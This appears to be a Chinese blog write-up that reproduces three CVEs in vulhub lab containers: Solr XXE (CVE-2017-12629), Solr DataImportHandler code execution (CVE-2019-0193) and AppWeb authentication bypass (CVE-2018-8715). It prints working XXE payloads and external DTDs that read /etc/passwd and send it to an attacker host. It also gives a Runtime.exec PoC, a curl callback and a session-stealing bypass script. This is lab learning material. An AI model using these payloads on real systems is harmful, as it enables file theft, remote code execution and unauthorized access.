復現基於：
docker : https://www.docker.com/
vulhub : https://vulhub.org/
docker 安裝 & docker-compose 安裝
教程地址：
vulhub
詳細：這個里面安裝docker-compose方法挺好的
開始前的准備
1.獲取vulhub
git clone https://github.com/vulhub/vulhub.git
或者直接從倉庫克隆鏡像
2.獲取環境並運行
選擇一個要復現的CVE，切換到該目錄，查看其中的文檔教程
獲取並啟動容器：docker-compose up -d
建議在管理員身份執行，不然可能會報錯 No module named ssl_match_hostname
3.啟動后，訪問 http://your-ip:port 即可(文檔中提供了端口port)也可以直接輸入 127.0.0.1:port
實例（持續更新）
0x01：Apache solr XML 實體注入漏洞（CVE-2017-12629）
參考文章：
1.從Blind XXE漏洞到讀取Root文件的系統提權
2.vulhub文檔
環境：
| 名稱 | IP |
|---|---|
| 靶機 | 192.168.230.132:8983 |
| 攻擊機 | 192.168.230.133 |
漏洞成因:大致是文檔通過Http利用XML加到一個搜索集合中。查詢該集合也是通過 http收到一個XML/JSON響應來實現。
這是一個典型XXE漏洞的缺陷編碼示例，Lucene包含了一個查詢解析器支持XML格式進行數據查詢，出現問題的代碼片段在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java文件中
通過查看調用棧中的數據處理流程，在調用lucene xml解析器時確實沒有對DTD和外部實體進行禁用處理，造成了Blind XXE。
步驟：
環境自身已經幫我們創建了一個demo的core，自己創建的話會出問題，顯示少了一些配置文件，所以直接利用這個demo
漏洞處在：http://192.168.230.132:8983/solr/demo/select?q=YouAreHacked&wt=xml&defType=xmlparser這個接口，調用接口的具體頁面應該是在這里 http://192.168.230.132:8983/solr/#/demo/query
由於已知是XXE，那么首先測試一下會不會是簡單直接的有回顯的XXE
payload：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE easy [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<easy>&file;</easy>
很遺憾，失敗了，並不會直接出現在頁面上
報錯：
No QueryObjectBuilder defined for node easy in {q=<?xml+version%3D"1.0"+encoding%3D"utf-8"?>+%0a<!DOCTYPE+easy+[++%0a<!ENTITY+file+SYSTEM+"file:///etc/passwd">+]>+%0a<easy>%26file;</easy>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}
那就復雜一點的：
首先測試一下是否對DTD和外部實體進行禁用處理：
payload：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.230.133/wordpress/msg/getmsg.php?msg=test">
%remote;]>
<root/>
//注意：上述的 remote 實體調用的是自己搭建的用於接收接收信息的頁面，確定靶機是否訪問了外網，便於后續引用外部實體
//注意還有一點，上述payload需要URL編碼，否則會報錯
於是訪問頁面 http://192.168.230.132:8983/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20root%20%5B%0A%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A//192.168.230.133/wordpress/msg/getmsg.php%3Fmsg%3Dtest%22%3E%0A%25remote%3B%5D%3E%0A%3Croot/%3E&wt=xml&defType=xmlparser
查看攻擊機上的記錄：
很明顯訪問了外網
第一種，利用報錯形成有回顯的XXE：
payload：
<?xml version="1.0" ?>
<!DOCTYPE root[
<!ENTITY % ext SYSTEM "http://192.168.230.133/wordpress/msg/test.dtd">
%ext;
%ent;
]>
<r>&data;</r>
攻擊機(遠程主機)上的外部實體 test.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
第二種：既然能訪問外網，那么能不能將數據外帶呢？----無回顯的XXE
payload：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.230.133/wordpress/msg/test2.dtd">
%remote;
%int;
%send;
]>
<root/>
``
攻擊機(遠程主機)上的外部實體 `test2.dtd`
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.230.133/wordpress/msg/getmsg.php?msg=%file;'>">
很遺憾，又失敗了。這是為什么？PHP上是可以執行的，為什么JAVA版的就不行呢？
最終報錯：
Error parsing XML stream:java.net.MalformedURLException: Illegal character in URL in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.230.133/wordpress/msg/test2.dtd">%0a%25remote;%0a%25int;%0a%25send;%0a]>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}
問題經過測試 出現在 %file;處，改成其他字符而不是引用實體的話沒任何問題,唯獨 %file; 不行。我心態崩了呀！
更改 %file;為'aaa2'的話，出現報錯為:
org.apache.solr.search.SyntaxError: No QueryObjectBuilder defined for node root in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.230.133/wordpress/msg/test2.dtd">%0a%25remote;%0a%25int;%0a%25send;%0a]>%0a<root/>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}
但是會發送數據，即執行 <!ENTITY % send SYSTEM 'http://192.168.230.133/wordpress/msg/getmsg.php?msg=aaa2'>
復現過程中也遇到同樣的問題的師傅可以交流一下
0x02 Apache Solr 遠程命令執行漏洞（CVE-2019-0193）
環境：
| 名稱 | IP |
|---|---|
| 靶機 | 192.168.230.132:8983 |
| 攻擊機 | 192.168.230.133 |
漏洞成因：***
步驟：
首先啟動漏洞環境，並創建一個叫做 test 的 core
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
打開漏洞頁面 http://192.168.230.132:8983/solr/#/test/dataimport//dataimport，勾選 debug
點擊 Execute with this Confuguration 執行
poc:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/test.txt");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
結果：
由於環境里面沒有nc，所以也反彈不了 shell，但是有curl，所以可以訪問一下攻擊機
命令為 curl http://192.168.230.133/wordpress/msg/getmsg.php?msg=YouAreHacked!
0x03：AppWeb認證繞過漏洞（CVE-2018-8715）
參考文章：
AppWeb認證繞過漏洞
環境：
| 名稱 | IP |
|---|---|
| 靶機 | 192.168.230.138:8080 |
| 攻擊機 | 192.168.1.100 |
漏洞成因：
AppWeb 是 Embedthis Software LLC 公司負責開發維護的一個基於 GPL 開源協議的嵌入式 Web Server。他使用 C/C++ 來編寫，能夠運行在幾乎先進所有流行的操作系統上。當然他最主要的應用場景還是為嵌入式設備提供 Web Application 容器。
AppWeb 可以進行認證配置，其認證方式包括以下三種：
- basic 傳統 HTTP 基礎認證
- digest 改進版 HTTP 基礎認證，認證成功后將使用Cookie來保存狀態，而不用再傳遞 Authorization 頭
- form 表單認證
其 7.0.3 之前的版本中，對於 digest 和 form 兩種認證方式，如果用戶傳入的密碼為null（也就是沒有傳遞密碼參數），appweb 將因為一個邏輯錯誤導致直接認證成功，並返回session。
利用前提：利用該漏洞需要知道一個已存在的用戶名，當前環境下用戶名為 admin。
步驟：
-
打開網頁，提示輸入用戶名/密碼(form 表單認證)，如果點擊取消，不輸入賬號密碼，也會顯示未授權
具體請求報文為：
-
在刷新網頁時抓包，並且在請求頭中添加
Authorization: Digest username=admin，也就是將認證方式替換為 basic 傳統 HTTP 基礎認證方式
我們並沒有傳入密碼字段，服務端在處理時出現了錯誤，對比步驟一中可以看到響應報文中的內容多了 Set-Cookie 字段，內容為一個 session，並且響應結果也變成了認證成功的響應
- 將
-http-session-添加到 cookie 中
然后重新發起請求，可以發現，已經繞過了認證
簡單的漏洞探測腳本：
# 用法：python CVE-2018-8715.py url username
import requests
import sys
url = sys.argv[1]
user = sys.argv[2]
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36',
'Authorization':'Digest username='+user
}
response = requests.post(url,headers=headers)
if(response.status_code == 200):
print("該網站存在漏洞，返回的 session 為：" + response.headers['Set-Cookie'])
else:
print("Falied!")